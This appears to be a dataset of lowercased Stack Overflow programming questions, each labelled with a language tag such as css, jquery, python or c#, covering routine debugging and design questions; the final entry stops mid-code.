controllers  views and accepts_nested_attributes_for  i have a view  business   that contains 3 partials (about  hours  and vacations) that each have an edit mode.  business  accepts_nested_attributes_for each of these. should these 3 forms all call the business controllers  update  method and just save the nested attributes (meaning the same code could handle all 3 forms)  and update the appropriate partial depending on which form was submitted  or should they call their own controllers  i.e. hours form calls hours controller  etc.,ruby-on-rails
change any form of date time string format into us date time format using c++  change any form of date time string format into us date time format using c++ example format 1: dddd  dd mmmm  yyyy  h:mm:ss tt format 2: dd mmmm yyyy  h:mm:ss tt  format 3: mm/dd/yyyy at hh:mm:ss    all above format must get converted and printed into below given format  dddd  mmmm dd  yyyy   h:mm:ss tt (this is us time format),c++
retrieve last numbers from url in json - angularjs app  i have an angularjs app that loads in data from this json file:    <a href= http://www.football-data.org/alpha/soccerseasons/354/leaguetable callback=json_callback  rel= nofollow >http://www.football-data.org/alpha/soccerseasons/354/leaguetable callback=json_callback</a>   <pre><code>&lt;tr ng-repeat= team in teamslist &gt;         &lt;td&gt;{{$index + 1}}&lt;/td&gt;          &lt;td&gt;&lt;a href= #/teams/{{team._links.team.href}} &gt;               {{team.teamname}}               &lt;/a&gt;&lt;/td&gt;         &lt;td&gt;{{team.playedgames}}&lt;/td&gt;         &lt;td&gt;{{team.points}}&lt;/td&gt;         &lt;td&gt;{{team.goals}}&lt;/td&gt;         &lt;td&gt;{{team.goalsagainst}}&lt;/td&gt;         &lt;td&gt;{{team.goaldifference}}&lt;/td&gt;       &lt;/tr&gt; </code></pre>   however in this part of the code: <code>&lt;td&gt;&lt;a href= #/teams/{{team._links.team.href}} &gt;</code> which loads in  url eg. <a href= http://api.football-data.org/alpha/teams/61  rel= nofollow >http://api.football-data.org/alpha/teams/61</a> i want to retrieve the last numbers at the end  they could be longer than 2 or less  instead of the whole url. so anything after that last /  is there a way i could do this,angularjs
get the next id in access database(now the id is m15  i want get m16)  my access database memberid now is m15   i want to get the next memberid m16   how to get it and display in a text field      string query;   <pre><code>query =  insert into membership values (   +memberid_a.gettext() +       +membername_a.gettext() +       + icno_a.gettext()  +       + gender_a.gettext()  +      + birthday_a.gettext()  +      + telephoneno_a.gettext()  +       + mobileno_a.gettext()  +       + email_a.gettext()  +       + address_a.gettext()  +       + postalcode_a.gettext() +       + state_a.gettext()  +       + country_a.gettext()  +       + memberpoint_a.gettext() +   ); ;     try{          stmtinsert = conn.createstatement();          stmtinsert.executeupdate(query);  } catch(exception ex){             joptionpane.showmessagedialog(null  error +ex.tostring()  error  joptionpane.error_message); } </code></pre>,java
how to solve run time error or terminating app due to uncaught exception nsinvalidargumentexception   i am a beginner with iphone development. i have used scrollview with an array of images but in that run time error like terminating app due to uncaught exception: <code>nsinvalidargumentexception</code>  reason: <code>-[uiview setcontentsize:]: unrecognized selector sent to instance</code>    my code:   <pre><code>- (void)viewdidload {  [self.view addsubview:imagedisplay];     self.view.frame = cgrectmake(0  0  320  480);      [(uiscrollview*)self.view setcontentsize:[imagedisplay size]];      [(uiscrollview*)self.view setmaximumzoomscale:5.0]; }  -(uiview *)viewforzoominginscrollview:(uiscrollview*)scrollview {     return imagedisplay;  } </code></pre>   give any suggestions and source code which applies.,objective-c
if div has a line-height of 0 and its only child  span  has line-height:0  where s the div s height coming from   here s my doubt. i ve got a parent div with a child which is a span. both have line-height set to 0. the span has font-size set to many many pixels (198px).    the problem: the div gets a height. but  from what  if it should come from the spans line-height  which is 0     i set up a tinkerbin. check it out if if you re interested.    <a href= http://tinkerbin.com/0oct7prf  rel= nofollow >http://tinkerbin.com/0oct7prf</a>    this happens at least in firefox and chrome  so this is almost definitely a standardized behavior.     note! this is a css behavior doubt. i m interested in knowing what s happening  not on  fixing  an  issue .    thanks in advance.,css
property  view  not found on object of type  appdelegate *   i am getting this error when using this code    <code>self.view.backgroundcolor = [uicolor redcolor</code>]    property  view  not found on object of type  appdelegate *     this code i placed in the appdelegate.m file    thanks for any help,ios
jquery append  called on an object  why do i get the follow error from my browser:    typeerror:  append  called on an object that does not implement interface formdata.         how can i fix it     my jquery code   <pre><code>$(document).on( click    .edit_save-btn   function(e){      e.preventdefault();      var form = $(this).closest( form )[0];      for (i = 0; i &lt; form.elements.length; i++)      {         if (form.elements[i].type ==  file )          {             if (form.elements[i].value ==   ) {                 form.elements[i].parentnode.removechild(form.elements[i]);             }         }     }        var form_data = new formdata(form);     var act =  edit ;       form_data.append( agntid    4 );     form_data.append( act    edit );  //  form_data.push({name:  agntid   value:  4 });    //  form_data.push({name:  act   value:  edit });        });  </code></pre>   html   <pre><code>&lt;form action= #  method= post  enctype= multipart/form-data  id= 4  class= item &gt;      &lt;div class= col-md-2 item_logo &gt;&lt;input name= file[]  type= file &gt;&lt;/div&gt;     &lt;div class= col-md-2 item_name &gt;&lt;input name= agnt[name]  value= agency 2  type= text &gt;&lt;span&gt;*&lt;/span&gt;&lt;/div&gt;     &lt;div class= col-md-2 item_mainemail &gt;&lt;input name= agnt[mainemail]  value= email@gmail.com  type= text &gt;&lt;/div&gt;     &lt;div class= col-md-2 item_contact &gt;&lt;textarea type= text  name= agnt[contact] &gt;some details&lt;/textarea&gt;&lt;/div&gt;     &lt;div class= col-md-2 panel-menu &gt;         &lt;span class= edit_msg &gt;&lt;/span&gt;          &lt;i class= fa fa-refresh fa-spin fa-2x fa-fw edit_form-loader &gt;&lt;/i&gt;         &lt;a href= #  class= btn btn-success edit_save-btn &gt;save&lt;/a&gt;      &lt;/div&gt;  &lt;/form&gt; </code></pre>   ............ ..........................,jquery
how to apply show/hide condition in jquery while using select option   i have two select fields. in first field i have some data. i want to hide option of second field by click of first field option.    <strong>first field</strong>   <pre><code>&lt;select id= edit-main-field-i-am-field-und  class= form-select required &gt; &lt;option value= _none &gt;- select a value -&lt;/option&gt; &lt;option value= sba &gt;a&lt;/option&gt; &lt;option value= sdb &gt;b&lt;/option&gt; &lt;option value= smc &gt;c&lt;/option&gt; &lt;option value= sbd &gt;d&lt;/option&gt; &lt;/select&gt; </code></pre>   <strong>second field</strong>   <pre><code>&lt;select id= edit-main-field-look-for-field-und  class= form-select required &gt; &lt;option value= _none &gt;- select a value -&lt;/option&gt; &lt;option value= sba &gt;a&lt;/option&gt; &lt;option value= sdb &gt;b&lt;/option&gt; &lt;option value= smc &gt;c&lt;/option&gt; &lt;option value= sbd &gt;d&lt;/option&gt; &lt;/select&gt; </code></pre>   i want if i select a or c from first field then a &amp; c is hide from second field &amp; if i select  b or d from first field then b &amp; d is hide from second field. i try this through jquery but problem to hide add condition.   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt; $(function() {       $( #edit-main-field-i-am-field-und ).change(function() {        if($( option:selected   this).text()== a  || $( option:selected   this).text()== c  )         {alert( 12345 );}       else if($( option:selected   this).text()== b  || $( option:selected   this).text()== d  )         {alert( 98765 );}      }); }); &lt;/script&gt; </code></pre>   please help. thanks,jquery
freecharge wallet integration in android  i am working in freecharge wallet integration in android. we purchased an merchant id and integration key too.    i followed the instruction given in the freecharge guide but i stuck with an error message in my log as <strong> invalid checksum/checksum mismatch </strong>     at present i am waiting for the freecharge customer care to reply for the error    kindly help me to get through this issue if any of you as integrated this freecharge wallet integration.    i cameup with the screenshot of the code and the error log    code    <a href= https://i.stack.imgur.com/umfl6.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/umfl6.png  alt= code ></a>    code continue... <a href= https://i.stack.imgur.com/axzoo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/axzoo.png  alt= code continue... ></a>    error log    <a href= https://i.stack.imgur.com/gjath.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gjath.png  alt= error log ></a>,android
how do i replace characters in a string in python   i m trying to find the best way to do the following:    i have a string lets say:   <pre><code>str =  pkm adp  </code></pre>   and i have a certain code in a dictionary to replace each charecter such as this one:   <pre><code>code =  { a :  c    d :  a    p :  r    k :  e    m :  d } </code></pre>   (<code> a </code> should be replaced by <code> c </code>  <code> d </code>  by <code> a </code> ...)    how can i convert the first string using the required characters from the dictionary to get the new string  here for example i should get <code> red car </code> as the new string.,python
no compatible divices on my beta apps  i don t understand why  i just try to push a beta version on google play and i have no compatible devices on this version (look at the screenshot). so when i download the apps  it s install me the current production version but not the beta like expected.     i have no problem to install it on my devices on dev mod with android studio so i know that this app working on my phone.     someone can help me   thanks   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.lgondor.simpledice      &gt;     &lt;uses-permission android:name= android.permission.wake_lock  /&gt;     &lt;uses-permission android:name= android.permission.internet /&gt;     &lt;uses-permission android:name= android.permission.access_network_state /&gt;     &lt;uses-permission android:name= android.permission.camera  /&gt;     &lt;uses-permission android:name= android.permission.write_external_storage  /&gt;     &lt;uses-feature android:name= android.hardware.camera2.full  /&gt;     &lt;uses-feature android:name= android.hardware.sensor.accelerometer  /&gt;     &lt;supports-screens         android:smallscreens= true          android:normalscreens= true          android:largescreens= true          android:xlargescreens= true &gt;     &lt;/supports-screens&gt;     &lt;application         android:allowbackup= true          android:icon= @drawable/icon_small_shadow          android:label= @string/app_name          android:supportsrtl= true          android:theme= @style/apptheme &gt;         &lt;activity android:name= com.lgondor.simpledice.mainactivity              android:screenorientation= portrait &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity android:name= com.lgondor.simpledice.addcustomdiceactivity              android:screenorientation= portrait &gt;         &lt;/activity&gt;         &lt;activity android:name= com.lgondor.simpledice.manageswitchactivity              android:screenorientation= portrait &gt;         &lt;/activity&gt;         &lt;activity android:name= com.google.android.gms.ads.adactivity              android:configchanges= keyboard|keyboardhidden|orientation|screenlayout|uimode|screensize|smallestscreensize              android:theme= @android:style/theme.translucent  /&gt;         &lt;service android:name= com.lgondor.simpledice.services.wearservice &gt;             &lt;intent-filter&gt;                 &lt;action android:name= com.google.android.gms.wearable.message_received  /&gt;             &lt;/intent-filter&gt;         &lt;/service&gt;     &lt;/application&gt; &lt;/manifest&gt; </code></pre>   <a href= https://i.stack.imgur.com/2qiio.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2qiio.png  alt= enter image description here ></a>,android
weird behavior c#  somehow i m getting a weird result from a getstring(). so  in my project i got this code:    <pre><code>byte[] arraybytes = system.convert.frombase64string(n[ spo_fdat ].innertext); string str = system.text.encoding.utf8.getstring(arraybytes); </code></pre>   the innertext value and the code is in: <a href= https://dotnetfiddle.net/mmulti  rel= nofollow noreferrer >https://dotnetfiddle.net/mmulti</a>    so  my problem is that somehow i m getting this result on my visual studio:    <a href= https://i.stack.imgur.com/x2hhr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/x2hhr.png  alt= enter image description here ></a>    while in the online compiler that i post above the output is as expected. this output is an output for a printer and this \0 are destroying the format.    anyone have a clue of what is going on and what should i do/try,c#
asp.net cs1002  ; expected   have this code. breaks down with cs1002 exception:  expected ; . what did i do wrong    <pre><code>    &lt;%         foreach (var rubric in rubrictreeview.nodes)         { %&gt;             &lt;div class= rubric-list-item top-level  data-id= &lt;%rubric.id%&gt; &gt;                 &lt;span class= rubric-list-chb &gt;                     &lt;input type= checkbox  id= chb&lt;%rubric.id%&gt;  /&gt;                         &lt;label class= checkbox-skin  for= chb&lt;%rubric.id%&gt; &gt;&lt;/label&gt;                 &lt;/span&gt;                 &lt;span class= rubric-list-marker active &gt;&lt;/span&gt;                 &lt;%rubric.title%&gt;             &lt;/div&gt;             &lt;% if (rubric.subnodes.any())                { %&gt;                       &lt;div class= rubric-list-subitems &gt;                           &lt;% foreach (var subrubric in rubric.subnodes)                              {%&gt;                                 &lt;div class= rubric-list-item active &gt;                                     &lt;span class= rubric-list-chb &gt;                                         &lt;input type= checkbox  id= chb&lt;%subrubric.id%&gt;  /&gt;                                         &lt;label class= checkbox-skin  for= chb&lt;%subrubric.id%&gt; &gt;&lt;/label&gt;                                     &lt;/span&gt;                                     &lt;span class= rubric-list-marker &gt;&lt;/span&gt;                                     &lt;%subrubric.title%&gt;                                 &lt;/div&gt;                            &lt;%} %&gt;                       &lt;/div&gt;             &lt;% } %&gt;      &lt;% } %&gt; </code></pre>   maybe &lt;%subrubric.title;%>,asp.net
is there a way to inherit css properties from the parent while modifing some   for example  css properites with multiple inputs:    is something like this possible    <pre><code>.button:active {   background-color: rgba(inherit  inherit  inherit  0.5); } </code></pre>   is the only way to do this with a scripted-css like less,css
is there is any way to get the select random records using query from table in mysql  is there is any way to get the select random records using query from table in mysql.,mysql
how to reset <small> tag in css  i would also like to reset the font-size of <code>&lt;small&gt;</code> tag too normal html elements.     like i want the content in small tag to be 13px of what other tags are.    how do i do this,css
i want to disable/enable my date picker on action of radio button but it s not working  here is my    <pre><code>&lt;script&gt;     $(document).ready(function(){         $( input[type=radio][name=test1] ).click(function(){             var related_class=$(this).val();             $( . +related_class).prop( disabled  false);              $( input[type=radio]  [name=test1] ).not( :checked ).each(function(){                 var other_class=$(this).val();                 $( . +other_class).prop( disabled  true);             });         });     }); &lt;/script&gt;  </code></pre>   here is the html   <pre><code>  &lt;label for= radio10 &gt; &lt;input type= radio name= test2  value= radio10  /&gt; fixed date   &lt;/label&gt; from &lt;input id= one  class= datepicker  type= text  readonly= false  name= for_radio10[]  class= radio10 disabled= false &gt;  to &lt;input id= two  class= datepicker  type= text  readonly= true  name= for_radio10[]  class= radio10 disabled= true &gt; </code></pre>,jquery
filter a set of bad words out of a php array  i have a php array of about 20 000 names  i need to filter through it and remove any name that has the word <code>job</code>  <code>freelance</code>  or <code>project</code> in the name.    below is what i have started so far  it will cycle through the array and add the cleaned item to build a new clean array.  i need help matching the  bad  words though.  please help if you can   <pre><code>$data1 = array( phillyfreelance     phillywebjobs    web2project    cleanname );  // freelance // job // project  $cleanarray = array(); foreach ($data1 as $name) {     # if a term is matched  we remove it from our array     if(preg_match( ~\b(freelance|job|project)\b~i  $name)){         echo  word removed ;      }else{         $cleanarray[] = $name;     }  } </code></pre>   right now it matches a word so if  freelance  is a name in the array it removes that item but if it is something like <code>imafreelaner</code> then it does not  i need to remove anything that has the matching words in it at all,php
path to template files in another project in solution  i am developing small asp.net application. one of the functionalities is sending e-mails and that is where i m stuck.    i have two projects in my solution:   <ul> <li>api</li> <li>email service</li> </ul>   send email logic is contained within email service projects together with mail templates (html files). when i debug my application  i encounter an issue with finding path to those templates:   <pre><code>string text = system.io.file.readalltext(@ templates\generic_template.html ); </code></pre>   i have an error that this file was not found under this path  and actually application was looking for template file in api project.    can you tell me how to solve this issue,asp.net
objective c - dynamically resizing view height  i ve seen many questions regarding this topic  yet i cannot find one satisfactory answer. i ve created a sample view using interface builder  attached below: <a href= http://i.stack.imgur.com/ywizj.png  rel= nofollow >layout sample</a>    now the text content is dynamic  and when i have a list of such views one underneath the other  i get to a strange state in which views overlap each other. i am looking for a simple way to get my view to resize itself  or at least expend to the size of all its subviews.    all the explanations i find have to do with a single label  in which their is a manual calculations of its size. is there no simple mechanism provided by coca toch for this     thank you,objective-c
how to disable mouseevents to specific div <pre><code>&lt;form id= header-search  class= container   ng-controller= controller   ng-mouseup= hovercombodropdown()  &gt;  &lt;div class= combodropdownbtn downbuttonbgcolor  id= id_dropdownbtn_list   ng-click= dropdown()  ng-disabled= true &gt;//form layout &lt;/form&gt;  function hovercombodropdown(){ ..operation a;  } function dropdown(){ ..operation b;`enter code here` } </code></pre>   //while calling operation a is overlapping with operation b. like first operation a is getting called later operation b how can i disable overla,angularjs
.net list<string>.remove bug should i submit a ms connect bug report on this   so i was beating my head against a wall for a while before it dawned on me.  i have some code that saves a list of names into a text file ala ...   <pre><code>system.io.file.writealllines(dlg.filename  this.characternamemasterlist.distinct().toarray()); </code></pre>   the character names can contain special characters. these names come from the wow armory at www.wowarmory.com  there are about 26000 names or so saved in the .txt file.    the names get saved to the .txt file just fine. i wrote another application that reads these names from that .txt file using this code    <pre><code>// download the names from the db var webnames = this.downloadnames( character );  // filter names and get ones that need to be added to the db var localnames = new list&lt;string&gt;(system.io.file.readalllines(dlg.filename)); foreach (var name in webnames) {     if (localnames.contains(name.trim())) localnames.remove(name); }  return localnames; </code></pre>   ... the code downloads a list of names from my website that are already in the db. then reads the local .txt file and singles out every name that is not yet in the db so it can later add it. the names that get read from the .txt file also get read just fine with no problems.    the problem comes in when removing names from the localnames list. localnames is a list type. as soon as localnames.remove(name) gets called any names in the list that had special characters in them would get corrupted and be converted into   characters. see for screen cap <a href= http://yfrog.com/12badcharsp  rel= nofollow noreferrer >http://yfrog.com/12badcharsp</a>    so i tried doing it another way using ...   <pre><code> // download the names from web that are already in the db var webnames = this.downloadnames( character );  // filter names and get ones that need to be added to the db var localnames = new list&lt;string&gt;(system.io.file.readalllines(dlg.filename)); int index = 0; while (index &lt; webnames.count) {     var name = webnames[index++];      var pos = localnames.indexof(name.trim());     if (pos != -1) localnames.removeat(pos); }  return localnames; </code></pre>   .. but using localnames.removeat also corrupts the items in the list converting special characters into  .     so is this a known bug with the list.remove methods  does anyone know  has anyone else had this problem  i also used .net reflector to disassemble/inspect the list.remove and list.removeat code and it appear to be calling some external copy function.    aside from the fact that this is prob not the best way to get a unique list of items from 2 lists am i missing something or should be aware of when using the list.remove methods      i am running windows 7 vs2010 and my app is set for .net 4 (no client profile ),.net
float values in asp.net   in web application  i write the code like this :     <pre><code>  float f= 659/1024  </code></pre>   but i am getting the resule in f is 0.0 where it has to be 0.6458 smething,asp.net
"full width inside a div element   100% width <code>div</code> element inside a parent <code>div</code> within a <code>list</code> seems to not work.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.parent { 
    position : relative;
    width  : 200px;
    height : 200px;
    background-color : #888888;
 }
 
 .child {
    width : 100%;
    height : 40px;
    background-color : #555555;
    margin : 1px 0 0 0;
 }
 li {
  list-style-type : none;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= parent &gt;
    &lt;ul&gt;
       &lt;li&gt;&lt;div class= child &gt;&lt;/div&gt;&lt;/li&gt;
       &lt;li&gt;&lt;div class= child &gt;&lt;/div&gt;&lt;/li&gt;
    &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
"inline-grid vertical-align on second row s baseline  is there a way in css to tell an inline-grid on which row s baseline it should vertically align  it seems to as if an inline-grid container with <em>vertical-align: baseline;</em> uses the first cell s baseline. but i d like to use another cell s (or row s) baseline. is this possible     the code and image below shows what i have and what i want.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.grid{
  display: inline-grid;
  grid-template-columns: auto auto auto;
  grid-template-rows: auto auto auto;
  grid-gap: 20px;
  align-items: baseline;
  border: 1px solid blue;
  padding: 20px;
 }
 .grid&gt;div{
  border: 1px solid red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>  this is a line of text
   
   &lt;div class= grid &gt;
    &lt;div&gt;a&lt;/div&gt;
    &lt;div style= font-size: 3em; &gt;b&lt;/div&gt;
    &lt;div&gt;c&lt;/div&gt;
    &lt;div&gt;align me&lt;/div&gt;
    &lt;div style= font-size: 5em; &gt;e&lt;/div&gt;
    &lt;div style= font-size: 3em; &gt;f&lt;/div&gt;
    &lt;div style= font-size: 3em; &gt;g&lt;/div&gt;
    &lt;div&gt;h&lt;/div&gt;
    &lt;div&gt;i&lt;/div&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>
     image showing vertical-alignment of inline-grid    <a href= https://i.stack.imgur.com/zj3p1.png)  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zj3p1.png)  alt=  ></a>    <strong>edit jul 30</strong>    so far i found out that when   <ol> <li> grid s <em>align-items</em> is not <em>baseline</em>   </li> <li> the first cell spans two rows and has <em>height: 100%;</em> and </li> <li> the first cell contains an inline-block div with <em>height: 100%;</em> and <em>vertical-align: text-bottom;</em> </li> </ol>   i can force the grid s baseline to be at the bottom of the second row  almost aligning my grid vertically as i wanted. unfortunately  in my case the other cells in row two could be other than single-lined 1em high texts and then their shared baseline does not correspond to the baseline in cell 1 which defines the grid s vertical position.    so the question still remains: is there a way to vertically align an inline-grid on the baseline of the second row",css
how to access nsurlresponse in viewcontroller  questions about the request to the server.    there is a class webapi to communicate with the server  the controller calls the instance method webapi.    there simply create a query and connect to a specified address. when the connection has finished loading   <pre><code>- (void) connectiondidfinishloading: (nsurlconnection *) connection {      _jsondata = [nsjsonserialization jsonobjectwithdata: response options: 0 error: nil]; } </code></pre>   how do i know in the controller that the property <code>(nsarray *) _jsondata</code> webapi class contains the downloaded response  that is  how to understand when you can use the data stored in <code>_jsondata</code> inside the viewcontroller,objective-c
stringvar tkinter within textvariables  i m trying to create multiple inputs for the user but for some reason it doesn t get the variables and i can t seem to figure it out how to do this.   <pre><code>def updata():         for r in range(1 5):             v1list.append(stringvar())             nameentry = entry(root  textvariable=v1list[r-1]  bg = bg  fg = fg  font = font  width=20).grid(row = r  column = 0  sticky=w)     def getdata():         print(v1list) </code></pre>   the output of this script is:   <pre><code>[&lt;tkinter.stringvar object at 0x05b6c550&gt;  &lt;tkinter.stringvar object at 0x05b6c630&gt;  &lt;tkinter.stringvar object at 0x05b6c690&gt;  &lt;tkinter.stringvar object at 0x05b6c710&gt;] </code></pre>   it should readable text because i m trying to get the name and age of someone they manually enter these in the program.    i know you usually have to do <code>.get()</code> but i ve no clue on how to implement this with list or if i m on the right track with setting this up.,python
facing issue using $scope and $rootscope  i am facing issue to print text using angualrjs $scope and $rootscope. please find the code below and let me know where i did mistake.   <pre><code>&lt;body ng-app= x &gt;          &lt;div ng-controller= ctrl1 &gt;             hello {{name2}}         &lt;/div&gt;          &lt;div ng-controller= ctrl2 &gt;             hi {{name1}} how {{name3}}         &lt;/div&gt;          &lt;script&gt;              var app= angulr.module( x  []);              app.controller( ctrl1   [ $scope    $rootscope  function($scope  $rootscope){                  $scope.name2 =  sir ;                 $rootscope.name3 =  are you! ;             }]);              app.controller( ctrl2   function($scope){                  $scope.name1 =  madam ;             });          &lt;/script&gt;      &lt;/body&gt; </code></pre>,angularjs
in c# where does the key words come from if  using system  is commented   for example  we know that  int  type in c# is nothing but a structure which is actually system.int32. if that so  then if  using system;  is commented in a program  then int type should not be able to use. but still int type can be used. my question is  from where these types are coming from    <pre><code>//using system; class program {     static void main() {          int x = 0;  // it still work  though int is under system namespace  why       } } </code></pre>,c#
how do i programatically log off the current user and log on as another   is there a way to force a logoff (knowing this is not recommended) of the current interactive (logged-on) user and then login with a new user account (interactive - not using stuff like logonuser and other impersonation tricks) to simulate someone physically pressing logoff and then selecting a new account to logon...     the issue is that my service creates a new user account programatically - and i need to find a way to create its corresponding user profile. from what i can see the only way that works would be to physically logoff the current user  and then login as the new user (which will create the user profile for hkcu  documents &amp; settings  etc...). sounds a little crazy but i can t find a better way...     so  i need to find a way to programmatically force the logoff &amp; logon actions (from my running windows service under localsystem) - i have all the credentials and access rights needed ... are there system function calls i can use     for logoff i think i can use wtslogoffsession(...)  still trying to get it to work but seems promising - however i have no clue what to do about logon... alternitively if there is a better approach to solve my problem i am all ears :)    any help or hints would be much appreciated... thanks,c#
should i add string conditional method to helper or model or ...   what is the best way to do this     i have this in a view <code>&lt;%= badges(challenge) %&gt;</code> or <code>&lt;%= challenge.badges %&gt;</code> depending on if i put <code>badges</code> in a helper or the model.    i was told to put it in a helper. i put it in so like this:   <pre><code>module challengeshelper   def badges(challenge)     if challenge.name ==  read 20 min        actioncontroller::base.helpers.image_tag( read.png   class:  gold-star )     elsif challenge.name ==  exercise 20 min        actioncontroller::base.helpers.image_tag( exercise.png   class:  gold-star )     elsif challenge.name ==  meditate 10 min        actioncontroller::base.helpers.image_tag( meditate.png   class:  gold-star )     elsif challenge.name ==  stretch 5 min        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  write 500 words        actioncontroller::base.helpers.image_tag( write.png   class:  gold-star )     elsif challenge.name ==  walk 5 000 steps        actioncontroller::base.helpers.image_tag( walk.png   class:  gold-star )     elsif challenge.name ==  eat fruit &amp; veg        actioncontroller::base.helpers.image_tag( fruit-and-vegetable.png   class:  gold-star )     elsif challenge.name ==  plan day        actioncontroller::base.helpers.image_tag( plan.png   class:  gold-star )     elsif challenge.name ==  after waking  guzzle water        actioncontroller::base.helpers.image_tag( water.png   class:  gold-star )     elsif challenge.name ==  track food consumption        actioncontroller::base.helpers.image_tag( track-food.png   class:  gold-star )     elsif challenge.name ==  random act of kindness        actioncontroller::base.helpers.image_tag( random-kindness.png   class:  gold-star )     elsif challenge.name ==  write 3 gratitudes        actioncontroller::base.helpers.image_tag( gratitude.png   class:  gold-star )     elsif challenge.name ==  juice fast        actioncontroller::base.helpers.image_tag( juice.png   class:  gold-star )     elsif challenge.name ==  not smoke        actioncontroller::base.helpers.image_tag( not-smoke.png   class:  gold-star )     elsif challenge.name ==  not drink alcohol        actioncontroller::base.helpers.image_tag( not-drink.png   class:  gold-star )     # goal challenges     elsif challenge.name ==  live abroad        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  long road trip        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  tour capital building        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  karaoke        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  see new york skyline        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  run 5k        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  write memoir        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  lose 10 pounds        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  join club        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  skydive        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  start a blog        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  donate $100 to charity        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  create independent income stream        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  paint a picture        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif challenge.name ==  give a public speech        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     else       actioncontroller::base.helpers.image_tag( gold-star-maze.png   class:  gold-star )     end   end end </code></pre>   i m only concerned because it seems more  wordy  in the helper than the model.   <pre><code>  def badges     if name ==  read 20 min        actioncontroller::base.helpers.image_tag( read.png   class:  gold-star )     elsif name ==  exercise 20 min        actioncontroller::base.helpers.image_tag( exercise.png   class:  gold-star )     elsif name ==  meditate 10 min        actioncontroller::base.helpers.image_tag( meditate.png   class:  gold-star )     elsif name ==  stretch 5 min        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  write 500 words        actioncontroller::base.helpers.image_tag( write.png   class:  gold-star )     elsif name ==  walk 5 000 steps        actioncontroller::base.helpers.image_tag( walk.png   class:  gold-star )     elsif name ==  eat fruit &amp; veg        actioncontroller::base.helpers.image_tag( fruit-and-vegetable.png   class:  gold-star )     elsif name ==  plan day        actioncontroller::base.helpers.image_tag( plan.png   class:  gold-star )     elsif name ==  after waking  guzzle water        actioncontroller::base.helpers.image_tag( water.png   class:  gold-star )     elsif name ==  track food consumption        actioncontroller::base.helpers.image_tag( track-food.png   class:  gold-star )     elsif name ==  random act of kindness        actioncontroller::base.helpers.image_tag( random-kindness.png   class:  gold-star )     elsif name ==  write 3 gratitudes        actioncontroller::base.helpers.image_tag( gratitude.png   class:  gold-star )     elsif name ==  juice fast        actioncontroller::base.helpers.image_tag( juice.png   class:  gold-star )     elsif name ==  not smoke        actioncontroller::base.helpers.image_tag( not-smoke.png   class:  gold-star )     elsif name ==  not drink alcohol        actioncontroller::base.helpers.image_tag( not-drink.png   class:  gold-star )     # goal challenges     elsif name ==  live abroad        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  long road trip        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  tour capital building        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  karaoke        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  see new york skyline        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  run 5k        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  write memoir        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  lose 10 pounds        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  join club        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  skydive        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  start a blog        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  donate $100 to charity        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  create independent income stream        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  paint a picture        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star )     elsif name ==  give a public speech        actioncontroller::base.helpers.image_tag( stretch.png   class:  gold-star 